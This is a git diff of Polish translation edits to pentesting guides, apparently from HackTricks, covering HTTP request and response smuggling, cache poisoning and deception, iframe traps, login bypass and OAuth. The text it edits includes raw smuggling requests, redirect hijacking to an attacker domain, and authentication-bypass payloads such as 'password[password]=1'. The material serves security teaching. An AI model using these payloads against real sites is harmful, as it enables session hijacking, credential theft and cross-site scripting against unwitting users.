+W ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija oszukańcze żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.
 
-### Revealing front-end request rewriting 
+### Odkrywanie przepisywania żądań front-end 
 
-Aplikacje często wykorzystują **serwer front-endowy** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: `, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**.
+Aplikacje często wykorzystują **serwer front-end** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-end. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: `, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**.
 
 Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
 ```
@@ -349,7 +349,7 @@ Ważne jest, aby dostosować nagłówek `Content-Length` zagnieżdżonego żąda
 
 Ta technika ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
 
-Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-end, zasadniczo wykonując samodzielne dochodzenie.
+Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-end, zasadniczo przeprowadzając samodzielne dochodzenie.
 
 ### Przechwytywanie żądań innych użytkowników 
 
@@ -379,7 +379,7 @@ W tym scenariuszu **parametr komentarza** ma na celu przechowywanie treści w se
 
 Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemyconym żądaniu. Dla przesyłania formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania.
 
-Dodatkowo warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
+Dodatkowo warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach żądanie powinno kończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
 
 ### Wykorzystanie przemycania żądań HTTP do eksploatacji odzwierciedlonego XSS
 
@@ -388,7 +388,7 @@ Przemycanie żądań HTTP może być wykorzystane do eksploatacji stron internet
 - Interakcja z docelowymi użytkownikami **nie jest wymagana**.
 - Umożliwia eksploatację XSS w częściach żądania, które są **normalnie niedostępne**, jak nagłówki żądań HTTP.
 
-W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS przez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
+W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -412,7 +412,23 @@ A=
 Ten ładunek jest skonstruowany w celu wykorzystania luki poprzez:
 
 1. Inicjowanie żądania `POST`, które wydaje się typowe, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek przemytu.
-2. Następnie, po `0`, oznaczającym koniec ciała wiadomości w formacie chunked.
+2. Następnie, z `0`, oznaczającym koniec ciała wiadomości w formacie chunked.
+3. Potem wprowadzane jest przemytowe żądanie `GET`, w którym nagłówek `User-Agent` jest wstrzykiwany skryptem, ``, co wywołuje XSS, gdy serwer przetwarza to kolejne żądanie.
+
+Manipulując `User-Agent` poprzez przemyt, ładunek omija normalne ograniczenia żądań, wykorzystując w ten sposób lukę Reflected XSS w niestandardowy, ale skuteczny sposób.
+
+#### HTTP/0.9
+
+> [!CAUTION]
+> W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9, może być możliwe ominięcie tego**!
+
+Wersja HTTP/0.9 była wcześniejsza od 1.0 i używa tylko czasowników **GET** oraz **nie** odpowiada z **nagłówkami**, tylko ciałem.
+
+W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z przemytowym żądaniem i **wrażliwym punktem końcowym, który odpowiada na dane użytkownika**, aby przemycić żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonawczy kod JS z `Content-Type` równym `text/html`.
+
+### Wykorzystywanie przekierowań na stronie z przemytowym żądaniem HTTP 
+
+Aplikacje często przekierowują z jednego URL do drugiego, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby dodać ukośnik:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -448,17 +464,17 @@ Wyniki w:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przejmowane. Atakujący może potencjalnie skompromitować użytkownika, dostarczając złośliwy JavaScript w odpowiedzi.
+W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
 
 ### Wykorzystywanie złośliwego zatrucia pamięci podręcznej przez HTTP Request Smuggling 
 
-Zatrucie pamięci podręcznej w sieci może być zrealizowane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
+Zatrucie pamięci podręcznej w sieci może być realizowane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
 
 Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść `/index.html` w odpowiedzi na żądanie dotyczące `/static/include.js`. W konsekwencji treść `/static/include.js` zostaje zastąpiona w pamięci podręcznej treścią `/index.html`, co sprawia, że `/static/include.js` staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS).
 
 Technika ta staje się szczególnie potężna, jeśli zostanie odkryta **vulnerabilność Open Redirect** lub jeśli występuje **przekierowanie na stronie do otwartego przekierowania**. Takie luki mogą być wykorzystywane do zastąpienia buforowanej treści `/static/include.js` skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia szeroką atak Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
 
-Poniżej znajduje się ilustracja wykorzystywania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do otwartego przekierowania**. Celem jest zmiana treści pamięci podręcznej `/static/include.js`, aby dostarczyć kod JavaScript kontrolowany przez atakującego:
+Poniżej znajduje się ilustracja wykorzystywania **zatrucia pamięci podręcznej połączonego z przekierowaniem na stronie do otwartego przekierowania**. Celem jest zmiana treści pamięci podręcznej `/static/include.js`, aby serwować kod JavaScript kontrolowany przez atakującego:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -478,16 +494,16 @@ x=1
 ```
 Zauważ osadzony żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Zmieniając **nagłówek Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronie do otwartego przekierowania**).
 
-Po udanym **zatruciu gniazda**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
+Po udanym **truciu gniazda**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze **przekierowanie na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
 
-Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroką akcję XSS.
+Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroki atak XSS.
 
 ### Wykorzystanie smugglingu żądań HTTP do przeprowadzenia oszustwa w pamięci podręcznej 
 
-> **Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem w pamięci podręcznej?**
+> **Jaka jest różnica między truciem pamięci podręcznej a oszustwem w pamięci podręcznej?**
 >
-> - W **zatruciu pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
-> - W **oszustwie w pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.
+> - W **truciu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
+> - W **oszustwie w pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.
 
 Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład:
 ```markdown
@@ -550,7 +566,7 @@ Content-Length: 44\r\n
 \r\n
 
 ```
-Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD, ważna odpowiedź HTTP jest przemycana):
+Wygeneruje te odpowiedzi (zauważ, jak odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD, ważna odpowiedź HTTP jest przemycana):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -593,7 +609,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Skrypty Turbo intrudera
+## Skrypty Turbo intruder
 
 ### CL.TE
 
@@ -687,7 +703,7 @@ table.add(req)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie to oparty na gramatyce HTTP Fuzzer, przydatne do znajdowania dziwnych rozbieżności w smugglingu żądań.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie to fuzzer HTTP oparty na gramatyce, przydatne do znajdowania dziwnych niezgodności w smugglingu żądań.
 
 ## Odniesienia
 
diff --git a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
index b000fa6f0..1be844c17 100644
--- a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
+++ b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
@@ -1,4 +1,4 @@
-# Request Smuggling w obniżeniach HTTP/2
+# Request Smuggling w downgradowaniu HTTP/2
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md
index 6332c847c..889b4e9fa 100644
--- a/src/pentesting-web/http-response-smuggling-desync.md
+++ b/src/pentesting-web/http-response-smuggling-desync.md
@@ -8,23 +8,23 @@
 
 Przede wszystkim, ta technika **wykorzystuje lukę w HTTP Request Smuggling**, więc musisz wiedzieć, co to jest:
 
-**Główna** **różnica** między tą techniką a typowym HTTP Request smuggling polega na tym, że **zamiast** **atakować** **żądanie** **ofiary** **poprzez dodanie prefiksu**, zamierzamy **wyciekować lub modyfikować odpowiedź, którą otrzymuje ofiara**. Robimy to, zamiast wysyłać 1,5 żądania, aby wykorzystać HTTP Request smuggling, **wysyłamy 2 pełne żądania, aby zdesynchronizować kolejkę odpowiedzi proxy**.
+**Główna** **różnica** między tą techniką a typowym HTTP Request smuggling polega na tym, że **zamiast** **atakować** **żądanie** **ofiary** **poprzez dodanie do niego prefiksu**, zamierzamy **wyciekować lub modyfikować odpowiedź, którą otrzymuje ofiara**. Robimy to, zamiast wysyłać 1,5 żądania, aby wykorzystać HTTP Request smuggling, **wysyłamy 2 pełne żądania, aby zdesynchronizować kolejkę odpowiedzi proxy**.
 
 Dzieje się tak, ponieważ będziemy w stanie **zdesynchronizować kolejkę odpowiedzi**, tak aby **odpowiedź** z **legitnego** **żądania** **ofiary została wysłana do atakującego**, lub poprzez **wstrzykiwanie treści kontrolowanej przez atakującego w odpowiedzi do ofiary**.
 
 ### Desync w potoku HTTP
 
-HTTP/1.1 pozwala na żądanie **różnych zasobów bez konieczności czekania na poprzednie**. Dlatego, jeśli w **środku** znajduje się **proxy**, to zadaniem proxy jest **utrzymanie zsynchronizowanego dopasowania żądań wysyłanych do backendu i odpowiedzi z niego**.
+HTTP/1.1 pozwala na żądanie **różnych zasobów bez konieczności czekania na poprzednie**. Dlatego, jeśli w **środku** znajduje się **proxy**, to zadaniem proxy jest **utrzymanie zsynchronizowanego dopasowania wysłanych żądań do backendu i odpowiedzi z niego**.
 
-Jednakże, istnieje problem z desynchronizowaniem kolejki odpowiedzi. Jeśli atakujący wyśle atak HTTP Response smuggling, a odpowiedzi na **początkowe żądanie i smuggled one są natychmiastowe**, odpowiedź smuggled nie zostanie wstawiona do kolejki odpowiedzi ofiary, ale **zostanie po prostu odrzucona jako błąd**.
+Jednakże, istnieje problem z desynchronizacją kolejki odpowiedzi. Jeśli atakujący wyśle atak HTTP Response smuggling, a odpowiedzi na **początkowe żądanie i smuggled one są natychmiastowe**, odpowiedź smuggled nie zostanie wstawiona do kolejki odpowiedzi ofiary, ale **zostanie po prostu odrzucona jako błąd**.
 
 ![](<../images/image (633).png>)
 
-Dlatego konieczne jest, aby **smuggled** **żądanie** **zajmowało więcej czasu na przetworzenie** w serwerze backendowym. W ten sposób, w momencie przetwarzania smuggled request, komunikacja z atakującym będzie zakończona.
+Dlatego konieczne jest, aby **smuggled** **żądanie** **zajmowało więcej czasu na przetworzenie** w serwerze backendowym. W momencie, gdy smuggled request jest przetwarzane, komunikacja z atakującym będzie zakończona.
 
-Jeśli w tej konkretnej sytuacji **ofiara wysłała żądanie**, a **smuggled request jest odpowiedziane przed** legitymnym żądaniem, **smuggled response zostanie wysłana do ofiary**. W ten sposób atakujący będzie **kontrolował żądanie "wykonane" przez ofiarę**.
+Jeśli w tej konkretnej sytuacji **ofiara wysłała żądanie** i **smuggled request jest odpowiedziane przed** legitymnym żądaniem, **smuggled response zostanie wysłana do ofiary**. W związku z tym atakujący będzie **kontrolował żądanie "wykonane" przez ofiarę**.
 
-Co więcej, jeśli **atakujący następnie wykona żądanie**, a **legitymna odpowiedź** na **żądanie ofiary** jest **odpowiedziana** **przed** żądaniem atakującego. **Odpowiedź dla ofiary zostanie wysłana do atakującego**, **kradnąc** odpowiedź dla ofiary (która może zawierać na przykład nagłówek **Set-Cookie**).
+Co więcej, jeśli **atakujący następnie wykona żądanie** i **legitymna odpowiedź** na **żądanie ofiary** jest **odpowiedziana** **przed** żądaniem atakującego. **Odpowiedź dla ofiary zostanie wysłana do atakującego**, **kradnąc** odpowiedź dla ofiary (która może zawierać na przykład nagłówek **Set-Cookie**).
 
 ![](<../images/image (1020).png>)
 
@@ -32,7 +32,7 @@ Co więcej, jeśli **atakujący następnie wykona żądanie**, a **legitymna odp
 
 ### Wiele zagnieżdżonych wstrzyknięć
 
-Inna **interesująca różnica** w porównaniu do typowego **HTTP Request Smuggling** polega na tym, że w typowym ataku smuggling, **celem** jest **zmodyfikowanie początku żądania ofiary**, aby wykonało nieoczekiwaną akcję. W **ataku HTTP Response smuggling**, ponieważ **wysyłasz pełne żądania**, możesz **wstrzyknąć w jednym ładunku dziesiątki odpowiedzi**, które będą **zdesynchronizowywać dziesiątki użytkowników**, którzy będą **otrzymywać** **wstrzyknięte** **odpowiedzi**.
+Inna **interesująca różnica** w porównaniu do typowego **HTTP Request Smuggling** polega na tym, że w typowym ataku smuggling, **celem** jest **zmodyfikowanie początku żądania ofiary**, aby wykonało nieoczekiwaną akcję. W **ataku HTTP Response smuggling**, ponieważ **wysyłasz pełne żądania**, możesz **wstrzyknąć w jednym ładunku dziesiątki odpowiedzi**, które będą **zdesynchronizować dziesiątki użytkowników**, którzy będą **otrzymywać** **wstrzyknięte** **odpowiedzi**.
 
 Oprócz możliwości **łatwiejszego rozprzestrzenienia dziesiątek exploitów** wśród legitymnych użytkowników, może to również być użyte do spowodowania **DoS** na serwerze.
 
@@ -88,7 +88,7 @@ Podążając za poprzednim przykładem, wiedząc, że możesz **kontrolować cia
 
 ### Zatrucie pamięci podręcznej
 
-Wykorzystując wcześniej omówiony atak desynchronizacji odpowiedzi Zamieszanie treści, **jeśli pamięć podręczna przechowuje odpowiedź na żądanie wykonane przez ofiarę, a ta odpowiedź jest wstrzyknięta, powodując XSS, to pamięć podręczna jest zatruta**.
+Wykorzystując wcześniej omówioną desynchronizację odpowiedzi ataku Zamieszanie treści, **jeśli pamięć podręczna przechowuje odpowiedź na żądanie wykonane przez ofiarę, a ta odpowiedź jest wstrzyknięta, powodując XSS, to pamięć podręczna jest zatruta**.
 
 Złośliwe żądanie zawierające ładunek XSS:
 
@@ -103,7 +103,7 @@ Złośliwa odpowiedź dla ofiary, która zawiera nagłówek wskazujący pamięci
 
 ### Oszustwo pamięci podręcznej w sieci
 
-Ten atak jest podobny do poprzedniego, ale **zamiast wstrzykiwać ładunek do pamięci podręcznej, atakujący będzie przechowywał informacje o ofierze w pamięci podręcznej:**
+Ten atak jest podobny do poprzedniego, ale **zamiast wstrzykiwać ładunek do pamięci podręcznej, atakujący będzie przechowywał informacje ofiary w pamięci podręcznej:**
 
 ![](<../images/image (991).png>)
 
@@ -111,7 +111,7 @@ Ten atak jest podobny do poprzedniego, ale **zamiast wstrzykiwać ładunek do pa
 
 **Celem** tego ataku jest ponowne wykorzystanie **desynchronizacji** **odpowiedzi**, aby **sprawić, że proxy wyśle 100% odpowiedź wygenerowaną przez atakującego**.
 
-Aby to osiągnąć, atakujący musi znaleźć punkt końcowy aplikacji internetowej, który **odzwierciedla pewne wartości w odpowiedzi** i **zna długość treści odpowiedzi HEAD**.
+Aby to osiągnąć, atakujący musi znaleźć punkt końcowy aplikacji webowej, który **odzwierciedla pewne wartości w odpowiedzi** i **zna długość treści odpowiedzi HEAD**.
 
 Wyśle **exploit** jak:
 
@@ -125,7 +125,7 @@ Ofiara otrzyma jako odpowiedź **odpowiedź HEAD + treść odpowiedzi drugiego 
 
 ![](<../images/image (356).png>)
 
-Jednakże, zauważ, jak **odzwierciedlone dane miały rozmiar zgodny z Content-Length** odpowiedzi **HEAD**, co **wygenerowało ważną odpowiedź HTTP w kolejce odpowiedzi**.
+Jednakże, zauważ, jak **odzwierciedlone dane miały rozmiar zgodny z Content-Length** odpowiedzi **HEAD**, która **wygenerowała ważną odpowiedź HTTP w kolejce odpowiedzi**.
 
 Dlatego **następne żądanie drugiej ofiary** będzie **otrzymywać** jako **odpowiedź coś całkowicie stworzonego przez atakującego**. Ponieważ odpowiedź jest całkowicie stworzona przez atakującego, może również **sprawić, że proxy przechowa odpowiedź w pamięci podręcznej**.
 
diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md
index c68c027fd..262eba95d 100644
--- a/src/pentesting-web/iframe-traps.md
+++ b/src/pentesting-web/iframe-traps.md
@@ -4,11 +4,11 @@
 
 ## Basic Information
 
-Ta forma nadużywania XSS za pomocą iframe'ów w celu kradzieży informacji od użytkownika poruszającego się po stronie internetowej została pierwotnie opublikowana w tych 2 postach na trustedsec.com: [**tutaj**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**tutaj**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
+Ta forma nadużywania XSS za pomocą iframe'ów do kradzieży informacji od użytkownika poruszającego się po stronie internetowej została pierwotnie opublikowana w tych 2 postach z trustedsec.com: [**tutaj**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**tutaj**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
 
 Atak zaczyna się na stronie podatnej na XSS, gdzie możliwe jest sprawienie, aby **ofiary nie opuściły XSS**, zmuszając je do **nawigacji w iframe**, który zajmuje całą aplikację internetową.
 
-Atak XSS zasadniczo załadowuje stronę w iframe na 100% ekranu. Dlatego ofiara **nie zauważy, że jest wewnątrz iframe**. Następnie, jeśli ofiara nawigować po stronie, klikając linki wewnątrz iframe (wewnątrz sieci), będzie **nawigować wewnątrz iframe** z dowolnym załadowanym JS kradnącym informacje z tej nawigacji.
+Atak XSS zasadniczo załadowuje stronę w iframe na 100% ekranu. Dlatego ofiara **nie zauważy, że jest wewnątrz iframe**. Następnie, jeśli ofiara nawiguję po stronie, klikając linki wewnątrz iframe (wewnątrz sieci), będzie **nawigować wewnątrz iframe** z dowolnym załadowanym JS kradnącym informacje z tej nawigacji.
 
 Co więcej, aby uczynić to bardziej realistycznym, możliwe jest użycie kilku **nasłuchiwaczy**, aby sprawdzić, kiedy iframe zmienia lokalizację strony, i zaktualizować adres URL przeglądarki z tymi lokalizacjami, które użytkownik myśli, że porusza się po stronach używając przeglądarki.
 
@@ -18,6 +18,6 @@ Co więcej, aby uczynić to bardziej realistycznym, możliwe jest użycie kilku
 
 Co więcej, możliwe jest użycie nasłuchiwaczy do kradzieży wrażliwych informacji, nie tylko innych stron, które ofiara odwiedza, ale także danych używanych do **wypełniania formularzy** i ich wysyłania (dane logowania?) lub do **kradzieży lokalnej pamięci**...
 
-Oczywiście, główne ograniczenia polegają na tym, że **ofiara zamykająca kartę lub wpisująca inny URL w przeglądarkę ucieknie z iframe**. Innym sposobem na to byłoby **odświeżenie strony**, jednak może to być częściowo **zapobiegane** przez wyłączenie menu kontekstowego kliknięcia prawym przyciskiem myszy za każdym razem, gdy nowa strona jest ładowana wewnątrz iframe lub zauważając, kiedy mysz użytkownika opuszcza iframe, potencjalnie aby kliknąć przycisk odświeżania przeglądarki, a w tym przypadku adres URL przeglądarki jest aktualizowany do oryginalnego adresu URL podatnego na XSS, więc jeśli użytkownik go odświeży, zostanie ponownie zainfekowany (zauważ, że to nie jest zbyt dyskretne).
+Oczywiście, główne ograniczenia polegają na tym, że **ofiara zamykająca kartę lub wpisująca inny adres URL w przeglądarkę ucieknie z iframe**. Innym sposobem na to byłoby **odświeżenie strony**, jednak może to być częściowo **zapobiegane** przez wyłączenie menu kontekstowego kliknięcia prawym przyciskiem myszy za każdym razem, gdy nowa strona jest ładowana wewnątrz iframe lub zauważając, gdy mysz użytkownika opuszcza iframe, potencjalnie aby kliknąć przycisk odświeżania przeglądarki, a w tym przypadku adres URL przeglądarki jest aktualizowany do oryginalnego adresu URL podatnego na XSS, więc jeśli użytkownik go odświeży, zostanie ponownie zainfekowany (zauważ, że to nie jest zbyt dyskretne).
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index 19d7be532..842a3774c 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -15,7 +15,7 @@ Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które moż
 - Sprawdź potencjalny błąd parsowania nodejs (przeczytaj [**to**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
 - Nodejs przekształci ten ładunek w zapytanie podobne do następującego: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` co sprawia, że bit hasła zawsze jest prawdziwy.
 - Jeśli możesz wysłać obiekt JSON, możesz wysłać `"password":{"password": 1}`, aby obejść logowanie.
-- Pamiętaj, że aby obejść to logowanie, nadal musisz **znać i wysłać ważną nazwę użytkownika**.
+- Pamiętaj, że aby obejść to logowanie, musisz **znać i wysłać ważną nazwę użytkownika**.
 - **Dodanie opcji `"stringifyObjects":true`** podczas wywoływania `mysql.createConnection` ostatecznie zablokuje **wszystkie nieoczekiwane zachowania, gdy `Object` jest przekazywany** w parametrze.
 - Sprawdź dane logowania:
 - [**Domyślne dane logowania**](../../generic-hacking/brute-force.md#default-credentials) technologii/platformy używanej
@@ -37,7 +37,7 @@ sql-login-bypass.md
 
 [Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
 
-Ponieważ NoSQL Injections wymaga zmiany wartości parametrów, będziesz musiał je przetestować ręcznie.
+Ponieważ NoSQL Injections wymagają zmiany wartości parametrów, będziesz musiał je przetestować ręcznie.
 
 ### Ominięcie uwierzytelniania XPath Injection
 
@@ -84,7 +84,7 @@ Strony zazwyczaj przekierowują użytkowników po zalogowaniu, sprawdź, czy mo
 ## Inne Kontrole
 
 - Sprawdź, czy możesz **enumerować nazwy użytkowników**, wykorzystując funkcjonalność logowania.
-- Sprawdź, czy **autouzupełnianie** jest aktywne w formularzach z hasłem/**wrażliwymi** informacjami **input:** ``
+- Sprawdź, czy **autouzupełnianie** jest aktywne w formularzach hasła/**wrażliwych** informacji **input:** ``
 
 ## Narzędzia Automatyczne
 
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index 3eb4121ef..ce7ef641f 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -5,20 +5,20 @@
 
 ## Podstawowe informacje 
 
-OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi w [OAuth 2.0 documentation](https://oauth.net/2/). Ta dyskusja koncentruje się głównie na szeroko stosowanym [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), zapewniając **ramy autoryzacji, które umożliwiają aplikacji dostęp do konta użytkownika w innej aplikacji lub wykonywanie działań na tym koncie** (serwer autoryzacji).
+OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi w [OAuth 2.0 documentation](https://oauth.net/2/). Ta dyskusja koncentruje się głównie na szeroko stosowanym [typie przyznawania kodu autoryzacji OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), zapewniając **ramy autoryzacji, które umożliwiają aplikacji dostęp do konta użytkownika w innej aplikacji lub wykonywanie działań na tym koncie** (serwer autoryzacji).
 
-Rozważmy hipotetyczną stronę _**https://example.com**_, zaprojektowaną w celu **prezentacji wszystkich Twoich postów w mediach społecznościowych**, w tym prywatnych. Aby to osiągnąć, wykorzystuje się OAuth 2.0. _https://example.com_ poprosi o Twoją zgodę na **dostęp do Twoich postów w mediach społecznościowych**. W konsekwencji na _https://socialmedia.com_ pojawi się ekran zgody, przedstawiający **uprawnienia, o które się prosi, oraz dewelopera składającego prośbę**. Po Twojej autoryzacji, _https://example.com_ zyskuje możliwość **dostępu do Twoich postów w Twoim imieniu**.
+Rozważmy hipotetyczną stronę internetową _**https://example.com**_, zaprojektowaną w celu **prezentacji wszystkich Twoich postów w mediach społecznościowych**, w tym prywatnych. Aby to osiągnąć, wykorzystuje się OAuth 2.0. _https://example.com_ poprosi o Twoją zgodę na **dostęp do Twoich postów w mediach społecznościowych**. W konsekwencji na _https://socialmedia.com_ pojawi się ekran zgody, przedstawiający **uprawnienia, o które się prosi, oraz dewelopera składającego prośbę**. Po Twojej autoryzacji, _https://example.com_ zyskuje możliwość **dostępu do Twoich postów w Twoim imieniu**.
 
 Ważne jest, aby zrozumieć następujące komponenty w ramach OAuth 2.0:
 
 - **właściciel zasobu**: Ty, jako **użytkownik/podmiot**, autoryzujesz dostęp do swojego zasobu, jak posty na Twoim koncie w mediach społecznościowych.
 - **serwer zasobów**: **serwer zarządzający uwierzytelnionymi żądaniami** po tym, jak aplikacja uzyskała `access token` w imieniu `właściciela zasobu`, np. **https://socialmedia.com**.
 - **aplikacja kliencka**: **aplikacja ubiegająca się o autoryzację** od `właściciela zasobu`, taka jak **https://example.com**.
